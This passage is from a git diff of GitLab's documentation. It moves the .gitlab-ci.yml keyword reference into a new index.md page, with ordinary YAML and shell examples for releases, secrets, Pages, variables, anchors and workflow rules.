$CI_COMMIT_TAG' - description: 'Created using the release-cli $EXTRA_DESCRIPTION' # $EXTRA_DESCRIPTION must be defined - tag_name: '$CI_COMMIT_TAG' # elsewhere in the pipeline. - ref: '$CI_COMMIT_TAG' - milestones: - - 'm1' - - 'm2' - - 'm3' - released_at: '2020-07-15T08:00:00Z' # Optional, is auto generated if not defined, or can use a variable. - assets: # Optional, multiple asset links - links: - - name: 'asset1' - url: 'https://example.com/assets/1' - - name: 'asset2' - url: 'https://example.com/assets/2' - filepath: '/pretty/url/1' # optional - link_type: 'other' # optional - ``` - -- To create a release automatically when commits are pushed or merged to the default branch, - using a new Git tag that is defined with variables: - - NOTE: - Environment variables set in `before_script` or `script` are not available for expanding - in the same job. Read more about - [potentially making variables available for expanding](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6400). - - ```yaml - prepare_job: - stage: prepare # This stage must run before the release stage - rules: - - if: $CI_COMMIT_TAG - when: never # Do not run this job when a tag is created manually - - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH # Run this job when commits are pushed or merged to the default branch - script: - - echo "EXTRA_DESCRIPTION=some message" >> variables.env # Generate the EXTRA_DESCRIPTION and TAG environment variables - - echo "TAG=v$(cat VERSION)" >> variables.env # and append to the variables.env file - artifacts: - reports: - dotenv: variables.env # Use artifacts:reports:dotenv to expose the variables to other jobs - - release_job: - stage: release - image: registry.gitlab.com/gitlab-org/release-cli:latest - needs: - - job: prepare_job - artifacts: true - rules: - - if: $CI_COMMIT_TAG - when: never # Do not run this job when a tag is created manually - - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH # Run this job when commits are pushed or merged to the default branch - script: - - echo 'running release_job for $TAG' - release: - name: 'Release $TAG' - description: 'Created using the release-cli $EXTRA_DESCRIPTION' # $EXTRA_DESCRIPTION and the $TAG - tag_name: '$TAG' # variables must be defined elsewhere - ref: '$CI_COMMIT_SHA' # in the pipeline. For example, in the - milestones: # prepare_job - - 'm1' - - 'm2' - - 'm3' - released_at: '2020-07-15T08:00:00Z' # Optional, is auto generated if not defined, or can use a variable. - assets: - links: - - name: 'asset1' - url: 'https://example.com/assets/1' - - name: 'asset2' - url: 'https://example.com/assets/2' - filepath: '/pretty/url/1' # optional - link_type: 'other' # optional - ``` - -#### Release assets as Generic packages - -You can use [Generic packages](../../user/packages/generic_packages/) to host your release assets. -For a complete example, see the [Release assets as Generic packages](https://gitlab.com/gitlab-org/release-cli/-/tree/master/docs/examples/release-assets-as-generic-package/) -project. - -#### `release-cli` command line - -The entries under the `release` node are transformed into a `bash` command line and sent -to the Docker container, which contains the [release-cli](https://gitlab.com/gitlab-org/release-cli). -You can also call the `release-cli` directly from a `script` entry. - -For example, if you use the YAML described previously: - -```shell -release-cli create --name "Release $CI_COMMIT_SHA" --description "Created using the release-cli $EXTRA_DESCRIPTION" --tag-name "v${MAJOR}.${MINOR}.${REVISION}" --ref "$CI_COMMIT_SHA" --released-at "2020-07-15T08:00:00Z" --milestone "m1" --milestone "m2" --milestone "m3" --assets-link "{\"name\":\"asset1\",\"url\":\"https://example.com/assets/1\",\"link_type\":\"other\"} -``` - -### `secrets` - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/33014) in GitLab 13.4. - -Use `secrets` to specify the [CI/CD Secrets](../secrets/index.md) the job needs. It should be a hash, -and the keys should be the names of the variables that are made available to the job. -The value of each secret is saved in a temporary file. This file's path is stored in these -variables. - -#### `secrets:vault` **(PREMIUM)** - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/28321) in GitLab 13.4. - -Use `vault` to specify secrets provided by [Hashicorp's Vault](https://www.vaultproject.io/). - -This syntax has multiple forms. The shortest form assumes the use of the -[KV-V2](https://www.vaultproject.io/docs/secrets/kv/kv-v2) secrets engine, -mounted at the default path `kv-v2`. The last part of the secret's path is the -field to fetch the value for: - -```yaml -job: - secrets: - DATABASE_PASSWORD: - vault: production/db/password # translates to secret `kv-v2/data/production/db`, field `password` -``` - -You can specify a custom secrets engine path by adding a suffix starting with `@`: - -```yaml -job: - secrets: - DATABASE_PASSWORD: - vault: production/db/password@ops # translates to secret `ops/data/production/db`, field `password` -``` - -In the detailed form of the syntax, you can specify all details explicitly: - -```yaml -job: - secrets: - DATABASE_PASSWORD: # translates to secret `ops/data/production/db`, field `password` - vault: - engine: - name: kv-v2 - path: ops - path: production/db - field: password -``` - -### `pages` - -Use `pages` to upload static content to GitLab. The content -is then published as a website. You must: - -- Place any static content in a `public/` directory. -- Define [`artifacts`](#artifacts) with a path to the `public/` directory. - -The following example moves all files from the root of the project to the -`public/` directory. The `.public` workaround is so `cp` does not also copy -`public/` to itself in an infinite loop: - -```yaml -pages: - stage: deploy - script: - - mkdir .public - - cp -r * .public - - mv .public public - artifacts: - paths: - - public - rules: - - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH -``` - -View the [GitLab Pages user documentation](../../user/project/pages/index.md). - -### `inherit` - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/207484) in GitLab 12.9. - -Use `inherit:` to control inheritance of globally-defined defaults -and variables. - -To enable or disable the inheritance of all `default:` or `variables:` keywords, use: - -- `default: true` or `default: false` -- `variables: true` or `variables: false` - -To inherit only a subset of `default:` keywords or `variables:`, specify what -you wish to inherit. Anything not listed is **not** inherited. Use -one of the following formats: - -```yaml -inherit: - default: [keyword1, keyword2] - variables: [VARIABLE1, VARIABLE2] -``` - -Or: - -```yaml -inherit: - default: - - keyword1 - - keyword2 - variables: - - VARIABLE1 - - VARIABLE2 -``` - -In the following example: - -- `rubocop`: - - inherits: Nothing. -- `rspec`: - - inherits: the default `image` and the `WEBHOOK_URL` variable. - - does **not** inherit: the default `before_script` and the `DOMAIN` variable. -- `capybara`: - - inherits: the default `before_script` and `image`. - - does **not** inherit: the `DOMAIN` and `WEBHOOK_URL` variables. -- `karma`: - - inherits: the default `image` and `before_script`, and the `DOMAIN` variable. - - does **not** inherit: `WEBHOOK_URL` variable. - -```yaml -default: - image: 'ruby:2.4' - before_script: - - echo Hello World - -variables: - DOMAIN: example.com - WEBHOOK_URL: https://my-webhook.example.com - -rubocop: - inherit: - default: false - variables: false - script: bundle exec rubocop - -rspec: - inherit: - default: [image] - variables: [WEBHOOK_URL] - script: bundle exec rspec - -capybara: - inherit: - variables: false - script: bundle exec capybara - -karma: - inherit: - default: true - variables: [DOMAIN] - script: karma -``` - -## `variables` - -> Introduced in GitLab Runner v0.5.0. - -[CI/CD variables](../variables/README.md) are configurable values that are passed to jobs. -They can be set globally and per-job. - -There are two types of variables. - -- [Custom variables](../variables/README.md#custom-cicd-variables): - You can define their values in the `.gitlab-ci.yml` file, in the GitLab UI, - or by using the API. You can also input variables in the GitLab UI when - [running a pipeline manually](../pipelines/index.md#run-a-pipeline-manually). -- [Predefined variables](../variables/predefined_variables.md): - These values are set by the runner itself. - One example is `CI_COMMIT_REF_NAME`, which is the branch or tag the project is built for. - -After you define a variable, you can use it in all executed commands and scripts. - -Variables are meant for non-sensitive project configuration, for example: - -```yaml -variables: - DEPLOY_SITE: "https://example.com/" - -deploy_job: - stage: deploy - script: - - deploy-script --url $DEPLOY_SITE --path "/" - -deploy_review_job: - stage: deploy - variables: - REVIEW_PATH: "/review" - script: - - deploy-review-script --url $DEPLOY_SITE --path $REVIEW_PATH -``` - -You can use only integers and strings for the variable's name and value. - -If you define a variable at the top level of the `gitlab-ci.yml` file, it is global, -meaning it applies to all jobs. If you define a variable in a job, it's available -to that job only. - -If a variable of the same name is defined globally and for a specific job, the -[job-specific variable overrides the global variable](../variables/README.md#cicd-variable-precedence). - -All YAML-defined variables are also set to any linked -[Docker service containers](../services/index.md). - -You can use [YAML anchors for variables](#yaml-anchors-for-variables). - -### Prefill variables in manual pipelines - -> [Introduced in](https://gitlab.com/gitlab-org/gitlab/-/issues/30101) GitLab 13.7. - -Use the `value` and `description` keywords to define [pipeline-level (global) variables that are prefilled](../pipelines/index.md#prefill-variables-in-manual-pipelines) -when [running a pipeline manually](../pipelines/index.md#run-a-pipeline-manually): - -```yaml -variables: - DEPLOY_ENVIRONMENT: - value: "staging" # Deploy to staging by default - description: "The deployment target. Change this variable to 'canary' or 'production' if needed." -``` - -You cannot set job-level variables to be pre-filled when you run a pipeline manually. - -### Configure runner behavior with variables - -You can use [CI/CD variables](../variables/README.md) to configure how the runner processes Git requests: - -- [`GIT_STRATEGY`](../runners/configure_runners.md#git-strategy) -- [`GIT_SUBMODULE_STRATEGY`](../runners/configure_runners.md#git-submodule-strategy) -- [`GIT_CHECKOUT`](../runners/configure_runners.md#git-checkout) -- [`GIT_CLEAN_FLAGS`](../runners/configure_runners.md#git-clean-flags) -- [`GIT_FETCH_EXTRA_FLAGS`](../runners/configure_runners.md#git-fetch-extra-flags) -- [`GIT_DEPTH`](../runners/configure_runners.md#shallow-cloning) (shallow cloning) -- [`GIT_CLONE_PATH`](../runners/configure_runners.md#custom-build-directories) (custom build directories) -- [`TRANSFER_METER_FREQUENCY`](../runners/configure_runners.md#artifact-and-cache-settings) (artifact/cache meter update frequency) -- [`ARTIFACT_COMPRESSION_LEVEL`](../runners/configure_runners.md#artifact-and-cache-settings) (artifact archiver compression level) -- [`CACHE_COMPRESSION_LEVEL`](../runners/configure_runners.md#artifact-and-cache-settings) (cache archiver compression level) - -You can also use variables to configure how many times a runner -[attempts certain stages of job execution](../runners/configure_runners.md#job-stages-attempts). - -## YAML-specific features - -In your `.gitlab-ci.yml` file, you can use YAML-specific features like anchors (`&`), aliases (`*`), -and map merging (`<<`). Use these features to reduce the complexity -of the code in the `.gitlab-ci.yml` file. - -Read more about the various [YAML features](https://learnxinyminutes.com/docs/yaml/). - -In most cases, the [`extends` keyword](#extends) is more user friendly and you should -use it when possible. - -You can use YAML anchors to merge YAML arrays. - -### Anchors - -YAML has a feature called 'anchors' that you can use to duplicate -content across your document. - -Use anchors to duplicate or inherit properties. Use anchors with [hidden jobs](#hide-jobs) -to provide templates for your jobs. When there are duplicate keys, GitLab -performs a reverse deep merge based on the keys. - -You can't use YAML anchors across multiple files when using the [`include`](#include) -keyword. Anchors are only valid in the file they were defined in. To reuse configuration -from different YAML files, use [`!reference` tags](#reference-tags) or the -[`extends` keyword](#extends). - -The following example uses anchors and map merging. It creates two jobs, -`test1` and `test2`, that inherit the `.job_template` configuration, each -with their own custom `script` defined: - -```yaml -.job_template: &job_configuration # Hidden yaml configuration that defines an anchor named 'job_configuration' - image: ruby:2.6 - services: - - postgres - - redis - -test1: - <<: *job_configuration # Merge the contents of the 'job_configuration' alias - script: - - test1 project - -test2: - <<: *job_configuration # Merge the contents of the 'job_configuration' alias - script: - - test2 project -``` - -`&` sets up the name of the anchor (`job_configuration`), `<<` means "merge the -given hash into the current one," and `*` includes the named anchor -(`job_configuration` again). The expanded version of this example is: - -```yaml -.job_template: - image: ruby:2.6 - services: - - postgres - - redis - -test1: - image: ruby:2.6 - services: - - postgres - - redis - script: - - test1 project - -test2: - image: ruby:2.6 - services: - - postgres - - redis - script: - - test2 project -``` - -You can use anchors to define two sets of services. For example, `test:postgres` -and `test:mysql` share the `script` defined in `.job_template`, but use different -`services`, defined in `.postgres_services` and `.mysql_services`: - -```yaml -.job_template: &job_configuration - script: - - test project - tags: - - dev - -.postgres_services: - services: &postgres_configuration - - postgres - - ruby - -.mysql_services: - services: &mysql_configuration - - mysql - - ruby - -test:postgres: - <<: *job_configuration - services: *postgres_configuration - tags: - - postgres - -test:mysql: - <<: *job_configuration - services: *mysql_configuration -``` - -The expanded version is: - -```yaml -.job_template: - script: - - test project - tags: - - dev - -.postgres_services: - services: - - postgres - - ruby - -.mysql_services: - services: - - mysql - - ruby - -test:postgres: - script: - - test project - services: - - postgres - - ruby - tags: - - postgres - -test:mysql: - script: - - test project - services: - - mysql - - ruby - tags: - - dev -``` - -You can see that the hidden jobs are conveniently used as templates, and -`tags: [postgres]` overwrites `tags: [dev]`. - -#### YAML anchors for scripts - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/23005) in GitLab 12.5. - -You can use [YAML anchors](#anchors) with [script](#script), [`before_script`](#before_script), -and [`after_script`](#after_script) to use predefined commands in multiple jobs: - -```yaml -.some-script-before: &some-script-before - - echo "Execute this script first" - -.some-script: &some-script - - echo "Execute this script second" - - echo "Execute this script too" - -.some-script-after: &some-script-after - - echo "Execute this script last" - -job1: - before_script: - - *some-script-before - script: - - *some-script - - echo "Execute something, for this job only" - after_script: - - *some-script-after - -job2: - script: - - *some-script-before - - *some-script - - echo "Execute something else, for this job only" - - *some-script-after -``` - -#### YAML anchors for variables - -Use [YAML anchors](#anchors) with `variables` to repeat assignment -of variables across multiple jobs. You can also use YAML anchors when a job -requires a specific `variables` block that would otherwise override the global variables. - -The following example shows how override the `GIT_STRATEGY` variable without affecting -the use of the `SAMPLE_VARIABLE` variable: - -```yaml -# global variables -variables: &global-variables - SAMPLE_VARIABLE: sample_variable_value - ANOTHER_SAMPLE_VARIABLE: another_sample_variable_value - -# a job that must set the GIT_STRATEGY variable, yet depend on global variables -job_no_git_strategy: - stage: cleanup - variables: - <<: *global-variables - GIT_STRATEGY: none - script: echo $SAMPLE_VARIABLE -``` - -### Hide jobs - -If you want to temporarily disable a job, rather than commenting out all the -lines where the job is defined: - -```yaml -# hidden_job: -# script: -# - run test -``` - -Instead, you can start its name with a dot (`.`) and it is not processed by -GitLab CI/CD. In the following example, `.hidden_job` is ignored: - -```yaml -.hidden_job: - script: - - run test -``` - -Use this feature to ignore jobs, or use the -[YAML-specific features](#yaml-specific-features) and transform the hidden jobs -into templates. - -### `!reference` tags - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/266173) in GitLab 13.9. - -Use the `!reference` custom YAML tag to select keyword configuration from other job -sections and reuse it in the current section. Unlike [YAML anchors](#anchors), you can -use `!reference` tags to reuse configuration from [included](#include) configuration -files as well. - -In the following example, a `script` and an `after_script` from two different locations are -reused in the `test` job: - -- `setup.yml`: - - ```yaml - .setup: - script: - - echo creating environment - ``` - -- `.gitlab-ci.yml`: - - ```yaml - include: - - local: setup.yml - - .teardown: - after_script: - - echo deleting environment - - test: - script: - - !reference [.setup, script] - - echo running my own command - after_script: - - !reference [.teardown, after_script] - ``` - -In the following example, `test-vars-1` reuses all the variables in `.vars`, while `test-vars-2` -selects a specific variable and reuses it as a new `MY_VAR` variable. - -```yaml -.vars: - variables: - URL: "http://my-url.internal" - IMPORTANT_VAR: "the details" - -test-vars-1: - variables: !reference [.vars, variables] - script: - - printenv - -test-vars-2: - variables: - MY_VAR: !reference [.vars, variables, IMPORTANT_VAR] - script: - - printenv -``` - -You can't reuse a section that already includes a `!reference` tag. Only one level -of nesting is supported. - -## Skip Pipeline - -To push a commit without triggering a pipeline, add `[ci skip]` or `[skip ci]`, using any -capitalization, to your commit message. - -Alternatively, if you are using Git 2.10 or later, use the `ci.skip` [Git push option](../../user/project/push_options.md#push-options-for-gitlab-cicd). -The `ci.skip` push option does not skip merge request -pipelines. - -## Processing Git pushes - -GitLab creates at most four branch and tag pipelines when -pushing multiple changes in a single `git push` invocation. - -This limitation does not affect any of the updated merge request pipelines. -All updated merge requests have a pipeline created when using -[pipelines for merge requests](../merge_request_pipelines/index.md). - -## Deprecated keywords - -The following keywords are deprecated. - -### Globally-defined `types` - -WARNING: -`types` is deprecated, and could be removed in a future release. -Use [`stages`](#stages) instead. - -### Job-defined `type` - -WARNING: -`type` is deprecated, and could be removed in one of the future releases. -Use [`stage`](#stage) instead. - -### Globally-defined `image`, `services`, `cache`, `before_script`, `after_script` - -Defining `image`, `services`, `cache`, `before_script`, and -`after_script` globally is deprecated. Support could be removed -from a future release. - -Use [`default:`](#custom-default-keyword-values) instead. For example: - -```yaml -default: - image: ruby:3.0 - services: - - docker:dind - cache: - paths: [vendor/] - before_script: - - bundle config set path vendor/bundle - - bundle install - after_script: - - rm -rf tmp/ -``` - -<!-- ## Troubleshooting - -Include any troubleshooting steps that you can foresee. If you know beforehand what issues -one might have when setting this up, or when something is changed, or on upgrading, it's -important to describe those, too. Think of things that may go wrong and include them here. -This is important to minimize requests for support, and to avoid doc comments with -questions that you know someone might ask. - -Each scenario can be a third-level heading, e.g. `### Getting error message X`. -If you have none to add when creating a doc, leave this section in place -but commented out to help encourage others to add to it in the future. --> +<!-- This redirect file can be deleted after 2021-09-28. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/yaml/gitlab_ci_yaml.md b/doc/ci/yaml/gitlab_ci_yaml.md index 266b35bd27f..2723cb19c1f 100644 --- a/doc/ci/yaml/gitlab_ci_yaml.md +++ b/doc/ci/yaml/gitlab_ci_yaml.md @@ -6,14 +6,14 @@ type: reference --- <!-- markdownlint-disable MD044 --> <!-- vale gitlab.Spelling = NO --> -# The .gitlab-ci.yml file +# The .gitlab-ci.yml file **(FREE)** <!-- vale gitlab.Spelling = YES --> <!-- markdownlint-enable MD044 --> To use GitLab CI/CD, you need: - Application code hosted in a Git repository. -- A file called [`.gitlab-ci.yml`](README.md) in the root of your repository, which +- A file called [`.gitlab-ci.yml`](index.md) in the root of your repository, which contains the CI/CD configuration. In the `.gitlab-ci.yml` file, you can define: @@ -27,7 +27,7 @@ In the `.gitlab-ci.yml` file, you can define: The scripts are grouped into **jobs**, and jobs run as part of a larger **pipeline**. You can group multiple independent jobs into **stages** that run in a defined order. -The CI/CD configuration needs at least one job that is [not hidden](README.md#hide-jobs). +The CI/CD configuration needs at least one job that is [not hidden](index.md#hide-jobs). You should organize your jobs in a sequence that suits your application and is in accordance with the tests you wish to perform. To [visualize](../pipeline_editor/index.md#visualize-ci-configuration) the process, imagine @@ -89,4 +89,4 @@ If anything goes wrong, you can  -[View the full syntax for the `.gitlab-ci.yml` file](README.md). +[View the full syntax for the `.gitlab-ci.yml` file](index.md). diff --git a/doc/ci/yaml/includes.md b/doc/ci/yaml/includes.md index 549a6fb964b..673a4e75c35 100644 --- a/doc/ci/yaml/includes.md +++ b/doc/ci/yaml/includes.md @@ -5,10 +5,10 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# GitLab CI/CD include examples +# GitLab CI/CD include examples **(FREE)** -In addition to the [`includes` examples](README.md#include) listed in the -[GitLab CI YAML reference](README.md), this page lists more variations of `include` +In addition to the [`includes` examples](index.md#include) listed in the +[GitLab CI YAML reference](index.md), this page lists more variations of `include` usage. ## Single string or array of multiple values diff --git a/doc/ci/yaml/index.md b/doc/ci/yaml/index.md new file mode 100644 index 00000000000..c2b8ef50e6a --- /dev/null +++ b/doc/ci/yaml/index.md @@ -0,0 +1,4935 @@ +--- +stage: Verify +group: Pipeline Execution +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +type: reference +--- + +<!-- markdownlint-disable MD044 --> +<!-- vale gitlab.Spelling = NO --> +# Keyword reference for the .gitlab-ci.yml file **(FREE)** +<!-- vale gitlab.Spelling = YES --> +<!-- markdownlint-enable MD044 --> + +This document lists the configuration options for your GitLab `.gitlab-ci.yml` file. + +- For a quick introduction to GitLab CI/CD, follow the [quick start guide](../quick_start/index.md). +- For a collection of examples, see [GitLab CI/CD Examples](../examples/README.md). +- To view a large `.gitlab-ci.yml` file used in an enterprise, see the [`.gitlab-ci.yml` file for `gitlab`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab-ci.yml). + +When you are editing your `.gitlab-ci.yml` file, you can validate it with the +[CI Lint](../lint.md) tool. + +## Job keywords + +A job is defined as a list of keywords that define the job's behavior. + +The keywords available for jobs are: + +| Keyword | Description | +| :-------------------------------------------|:------------| +| [`after_script`](#after_script) | Override a set of commands that are executed after job. | +| [`allow_failure`](#allow_failure) | Allow job to fail. A failed job does not cause the pipeline to fail. | +| [`artifacts`](#artifacts) | List of files and directories to attach to a job on success. | +| [`before_script`](#before_script) | Override a set of commands that are executed before job. | +| [`cache`](#cache) | List of files that should be cached between subsequent runs. | +| [`coverage`](#coverage) | Code coverage settings for a given job. | +| [`dast_configuration`](#dast_configuration) | Use configuration from DAST profiles on a job level. | +| [`dependencies`](#dependencies) | Restrict which artifacts are passed to a specific job by providing a list of jobs to fetch artifacts from. | +| [`environment`](#environment) | Name of an environment to which the job deploys. | +| [`except`](#only--except) | Control when jobs are not created. | +| [`extends`](#extends) | Configuration entries that this job inherits from. | +| [`image`](#image) | Use Docker images. | +| [`include`](#include) | Include external YAML files. | +| [`inherit`](#inherit) | Select which global defaults all jobs inherit. | +| [`interruptible`](#interruptible) | Defines if a job can be canceled when made redundant by a newer run. | +| [`needs`](#needs) | Execute jobs earlier than the stage ordering. | +| [`only`](#only--except) | Control when jobs are created. | +| [`pages`](#pages) | Upload the result of a job to use with GitLab Pages. | +| [`parallel`](#parallel) | How many instances of a job should be run in parallel. | +| [`release`](#release) | Instructs the runner to generate a [release](../../user/project/releases/index.md) object. | +| [`resource_group`](#resource_group) | Limit job concurrency. | +| [`retry`](#retry) | When and how many times a job can be auto-retried in case of a failure. | +| [`rules`](#rules) | List of conditions to evaluate and determine selected attributes of a job, and whether or not it's created. | +| [`script`](#script) | Shell script that is executed by a runner. | +| [`secrets`](#secrets) | The CI/CD secrets the job needs. | +| [`services`](#services) | Use Docker services images. | +| [`stage`](#stage) | Defines a job stage. | +| [`tags`](#tags) | List of tags that are used to select a runner. | +| [`timeout`](#timeout) | Define a custom job-level timeout that takes precedence over the project-wide setting. | +| [`trigger`](#trigger) | Defines a downstream pipeline trigger. | +| [`variables`](#variables) | Define job variables on a job level. | +| [`when`](#when) | When to run job. | + +### Unavailable names for jobs + +You can't use these keywords as job names: + +- `image` +- `services` +- `stages` +- `types` +- `before_script` +- `after_script` +- `variables` +- `cache` +- `include` + +### Custom default keyword values + +You can set global defaults for some keywords. Jobs that do not define one or more +of the listed keywords use the value defined in the `default:` section. + +These job keywords can be defined inside a `default:` section: + +- [`after_script`](#after_script) +- [`artifacts`](#artifacts) +- [`before_script`](#before_script) +- [`cache`](#cache) +- [`image`](#image) +- [`interruptible`](#interruptible) +- [`retry`](#retry) +- [`services`](#services) +- [`tags`](#tags) +- [`timeout`](#timeout) + +The following example sets the `ruby:3.0` image as the default for all jobs in the pipeline. +The `rspec 2.7` job does not use the default, because it overrides the default with +a job-specific `image:` section: + +```yaml +default: + image: ruby:3.0 + +rspec: + script: bundle exec rspec + +rspec 2.7: + image: ruby:2.7 + script: bundle exec rspec +``` + +## Global keywords + +Some keywords are not defined in a job. These keywords control pipeline behavior +or import additional pipeline configuration: + +| Keyword | Description | +|-------------------------|:------------| +| [`stages`](#stages) | The names and order of the pipeline stages. | +| [`workflow`](#workflow) | Control what types of pipeline run. | +| [`include`](#include) | Import configuration from other YAML files. | + +### `stages` + +Use `stages` to define stages that contain groups of jobs. `stages` is defined globally +for the pipeline. Use [`stage`](#stage) in a job to define which stage the job is +part of. + +The order of the `stages` items defines the execution order for jobs: + +- Jobs in the same stage run in parallel. +- Jobs in the next stage run after the jobs from the previous stage complete successfully. + +For example: + +```yaml +stages: + - build + - test + - deploy +``` + +1. All jobs in `build` execute in parallel. +1. If all jobs in `build` succeed, the `test` jobs execute in parallel. +1. If all jobs in `test` succeed, the `deploy` jobs execute in parallel. +1. If all jobs in `deploy` succeed, the pipeline is marked as `passed`. + +If any job fails, the pipeline is marked as `failed` and jobs in later stages do not +start. Jobs in the current stage are not stopped and continue to run. + +If no `stages` are defined in the `.gitlab-ci.yml` file, then `build`, `test` and `deploy` +are the default pipeline stages. + +If a job does not specify a [`stage`](#stage), the job is assigned the `test` stage. + +If a stage is defined, but no jobs use it, the stage is not visible in the pipeline. This is +useful for [compliance pipeline configuration](../../user/project/settings/index.md#compliance-pipeline-configuration) +because: + +- Stages can be defined in the compliance configuration but remain hidden if not used. +- The defined stages become visible when developers use them in job definitions. + +To make a job start earlier and ignore the stage order, use +the [`needs`](#needs) keyword. + +### `workflow` + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/29654) in GitLab 12.5 + +Use `workflow:` to determine whether or not a pipeline is created. +Define this keyword at the top level, with a single `rules:` keyword that +is similar to [`rules:` defined in jobs](#rules). + +You can use the [`workflow:rules` templates](#workflowrules-templates) to import +a preconfigured `workflow: rules` entry. + +`workflow: rules` accepts these keywords: + +- [`if`](#rulesif): Check this rule to determine when to run a pipeline. +- [`when`](#when): Specify what to do when the `if` rule evaluates to true. + - To run a pipeline, set to `always`. + - To prevent pipelines from running, set to `never`. +- [`variables`](#workflowrulesvariables): If not defined, uses the [variables defined elsewhere](#variables). + +When no rules evaluate to true, the pipeline does not run. + +Some example `if` clauses for `workflow: rules`: + +| Example rules | Details | +|------------------------------------------------------|-----------------------------------------------------------| +| `if: '$CI_PIPELINE_SOURCE == "merge_request_event"'` | Control when merge request pipelines run. | +| `if: '$CI_PIPELINE_SOURCE == "push"'` | Control when both branch pipelines and tag pipelines run. | +| `if: $CI_COMMIT_TAG` | Control when tag pipelines run. | +| `if: $CI_COMMIT_BRANCH` | Control when branch pipelines run. | + +See the [common `if` clauses for `rules`](../jobs/job_control.md#common-if-clauses-for-rules) for more examples. + +In the following example, pipelines run for all `push` events (changes to +branches and new tags). Pipelines for push events with `-draft` in the commit message +don't run, because they are set to `when: never`. Pipelines for schedules or merge requests +don't run either, because no rules evaluate to true for them: + +```yaml +workflow: + rules: + - if: $CI_COMMIT_MESSAGE =~ /-draft$/ + when: never + - if: '$CI_PIPELINE_SOURCE == "push"' +``` + +This example has strict rules, and pipelines do **not** run in any other case. + +Alternatively, all of the rules can be `when: never`, with a final +`when: always` rule. Pipelines that match the `when: never` rules do not run. +All other pipeline types run: + +```yaml +workflow: + rules: + - if: '$CI_PIPELINE_SOURCE == "schedule"' + when: never + - if: '$CI_PIPELINE_SOURCE == "push"' + when: never + - when: always +``` + +This example prevents pipelines for schedules or `push` (branches and tags) pipelines. +The final `when: always` rule runs all other pipeline types, **including** merge +request pipelines. + +If your rules match both branch pipelines and merge request pipelines, +[duplicate pipelines](../jobs/job_control.md#avoid-duplicate-pipelines) can occur. + +#### `workflow:rules:variables` + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/294232) in GitLab 13.11. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/300997) in GitLab 14.1. + +You can use [`variables`](#variables) in `workflow:rules:` to define variables for specific pipeline conditions. + +For example: + +```yaml +variables: + DEPLOY_VARIABLE: "default-deploy" + +workflow: + rules: + - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH + variables: + DEPLOY_VARIABLE: "deploy-production" # Override globally-defined DEPLOY_VARIABLE + - if: $CI_COMMIT_REF_NAME =~ /feature/ + variables: + IS_A_FEATURE: "true" # Define a new variable. + - when: always # Run the pipeline in other cases + +job1: + variables: + DEPLOY_VARIABLE: "job1-default-deploy" + rules: + - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH + variables: # Override DEPLOY_VARIABLE defined + DEPLOY_VARIABLE: "job1-deploy-production" # at the job level. + - when: on_success # Run the job in other cases + script: + - echo "Run script with $DEPLOY_VARIABLE as an argument" + - echo "Run another script if $IS_A_FEATURE exists" + +job2: + script: + - echo "Run script with $DEPLOY_VARIABLE as an argument" + - echo "Run another script if $IS_A_FEATURE exists" +``` + +When the branch is the default branch: + +- job1's `DEPLOY_VARIABLE` is `job1-deploy-production`. +- job2's `DEPLOY_VARIABLE` is `deploy-production`. + +When the branch is `feature`: + +- job1's `DEPLOY_VARIABLE` is `job1-default-deploy`, and `IS_A_FEATURE` is `true`. +- job2's `DEPLOY_VARIABLE` is `default-deploy`, and `IS_A_FEATURE` is `true`. + +When the branch is something else: + +- job1's `DEPLOY_VARIABLE` is `job1-default-deploy`. +- job2's `DEPLOY_VARIABLE` is `default-deploy`. + +#### `workflow:rules` templates + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217732) in GitLab 13.0. + +GitLab provides templates that set up `workflow: rules` +for common scenarios. These templates help prevent duplicate pipelines. + +The [`Branch-Pipelines` template](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates/Workflows/Branch-Pipelines.gitlab-ci.yml) +makes your pipelines run for branches and tags. + +Branch pipeline status is displayed in merge requests that use the branch +as a source. However, this pipeline type does not support any features offered by +[merge request pipelines](../pipelines/merge_request_pipelines.md), like +[pipelines for merged results](../pipelines/pipelines_for_merged_results.md) +or [merge trains](../pipelines/merge_trains.md). +This template intentionally avoids those features. + +To [include](#include) it: + +```yaml +include: + - template: 'Workflows/Branch-Pipelines.gitlab-ci.yml' +``` + +The [`MergeRequest-Pipelines` template](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates/Workflows/MergeRequest-Pipelines.gitlab-ci.yml) +makes your pipelines run for the default branch, tags, and +all types of merge request pipelines. Use this template if you use any of the +the [pipelines for merge requests features](../pipelines/merge_request_pipelines.md). + +To [include](#include) it: + +```yaml +include: + - template: 'Workflows/MergeRequest-Pipelines.gitlab-ci.yml' +``` + +#### Switch between branch pipelines and merge request pipelines + +> [Introduced in](https://gitlab.com/gitlab-org/gitlab/-/issues/201845) GitLab 13.8. + +To make the pipeline switch from branch pipelines to merge request pipelines after +a merge request is created, add a `workflow: rules` section to your `.gitlab-ci.yml` file. + +If you use both pipeline types at the same time, [duplicate pipelines](../jobs/job_control.md#avoid-duplicate-pipelines) +might run at the same time. To prevent duplicate pipelines, use the +[`CI_OPEN_MERGE_REQUESTS` variable](../variables/predefined_variables.md). + +The following example is for a project that runs branch and merge request pipelines only, +but does not run pipelines for any other case. It runs: + +- Branch pipelines when a merge request is not open for the branch. +- 